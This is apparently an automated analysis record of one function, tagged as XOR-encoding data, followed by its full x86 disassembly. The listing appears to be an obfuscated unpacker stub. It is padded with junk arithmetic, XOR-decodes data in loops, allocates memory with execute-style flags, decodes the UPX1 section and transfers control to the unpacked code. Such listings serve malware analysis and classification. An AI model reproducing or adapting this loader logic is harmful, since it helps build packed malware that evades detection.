Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe0f31480
add edx, edx
mov edx, esi
popal
sub edx, esi
mov edx, esi
mov edx, 0
mov ecx, ebx
mov edi, eax
mov eax, edi
mov esi, ecx
dec edi
mov eax, edi
mov ebx, esi
inc edi
not edi
sub eax, 0x2533163e
inc edx
dec edi
add eax, eax
cmp edx, 0x1003d2b
jne 0xa789c0
mov eax, 0xdf5d6b49
or eax, eax
add eax, edi
mov esi, edx
sub edx, 0x732a13c6
mov eax, 0xa78796
mov ebx, 0x65dbfc69
dec ebx
or ebx, esi
mov edx, 0xa7898a
inc ebx
add ebx, 1
mov edi, dword [eax]
and esi, ecx
mov ebx, esi
and edi, 0xff
not ecx
sub ecx, 0x2d1fe04b
or ebx, ecx
xor dword [edx], edi
sub ebx, 0x3fccf146
dec ebx
add esi, esi
inc edx
dec ebx
sub ebx, 0x7e0e43b7
inc eax
add ebx, ebx
mov esi, ecx
sub ebx, ecx
cmp edx, entry0
jl 0xa78a10
mov ebx, esi
add esi, 0xc60ec5a8
sub esi, ecx
sub ebx, 0xc942ac54
add ebx, 0x5e4694c6
or esi, ebx
add edi, ecx
sub esi, 0x5e206d4
mov ebx, 0xa7898e
add ecx, edx
or edi, edi
add edx, ecx
mov ebx, dword [ebx]
mov esi, edx
and ecx, edi
sub edi, ecx
mov ebx, dword [ebx]
dec ecx
not edx
dec esi
push ebx
mov edx, esi
or esi, edi
mov esi, 0xbb6d5e94
mov ebx, 0xa7898a
add edi, 1
mov esi, edx
mov ebx, dword [ebx]
mov ecx, 0xacedee2b
sub esi, 0xfc7898a0
mov ebx, dword [ebx]
inc edx
sub ecx, esi
mov edi, 0xffedeafd
sub esp, 4
mov dword [esp], 0xa78992
and esi, esi
inc esi
sub edi, esi
call ebx
and edi, edi
add edx, edx
mov edi, ecx
pop ebx
not ecx
mov ecx, 0x58ef7c51
push 0xa7899f
mov edx, 0xcf3a6aaf
sub edi, 0xb51ff84b
push eax
mov esi, 0x584aae9b
or edi, esi
call ebx
and esi, edi
dec ecx
push 0x40
mov edx, esi
add esi, 0x2a3129fd
not edi
sub esp, 4
mov dword [esp], 0x3000
or edi, edi
mov esi, 0xb403b37
push 0x20000fe9
sub edx, esi
add esi, 0xea621b75
dec esi
push 0
not ecx
not esi
not esi
call eax
add edx, 0x67d42b8c
mov edi, 0x5b437f6b
add eax, 0x20000f61
inc edi
add edi, 0x3e2087ad
mov ebx, 0xa3810ad7
sub ecx, 0x20e882c7
sub esi, edi
sub edx, 0xb11a231d
mov dword [eax], ebx
add esi, 0xad96e8b7
sub edx, 0xe25083c1
mov ebx, dword [eax]
add esi, ecx
add edi, edx
add ecx, 0xac43b962
cmp ebx, 0xa3810ad7
je 0xa78b7e
mov edx, 0
mov eax, dword [edx]
add edi, 0x8e44ec1a
mov esi, 0xa8f70e8c
mov esi, 0xe239e59c
sub esi, edi
mov edx, esi
dec edx
not esi
mov ecx, section.UPX1
add esi, esi
and edx, edx
mov ebx, 0xa78795
not esi
not edx
sub esi, 1
mov edi, 0
mov edx, esi
sub esi, 0xd552d061
mov edx, 0xcfe1f067
mov eax, 0xa78796
or edx, esi
sub edx, esi
lea eax, [eax + edi]
mov edx, esi
inc edx
mov eax, dword [eax]
or edx, edx
not edx
and eax, 0xff
add esi, 0x25bd438f
or edx, esi
mov esi, 0x65227ae0
inc edi
inc esi
inc edx
cmp edi, 0x1f4
jne 0xa78bf7
mov edi, 0
sub edx, 0x5658b871
mov edx, 0xb63b176d
dec edx
add edx, edx
inc edx
xor dword [ecx], eax
mov edx, 0xd5e655e7
sub esi, 0xdf07c451
not esi
add ecx, 2
add esi, 0xd0ee58c1
mov esi, 0xbda338cc
cmp ecx, ebx
jl 0xa78bbf
add edx, 1
dec edx
mov esi, 0x42d916a9
inc edx
dec edx
mov edx, section.UPX1
add esi, eax
add esi, 0xe0eda803
mov ebx, section.UPX1
sub esi, eax
sub esi, 1
mov edi, 0xa78795
mov esi, eax
and esi, eax
mov ecx, 0
add esi, 0x15c8398c
add eax, 0x3d29928f
mov esi, eax
mov cl, byte [ebx]
sub eax, 1
dec eax
mov byte [edx], cl
sub esi, 0xcdd3f7d6
mov eax, esi
inc edx
sub eax, esi
add eax, 0x6af486b4
add ebx, 2
inc esi
add esi, 0xc2aabbe8
and esi, esi
cmp ebx, edi
jle 0xa78c72
inc eax
add eax, 1
sub edx, 0x67b52245
and edx, edx
or esi, esi
push 0x8dc6a0
mov edx, esi
mov edx, esi
ret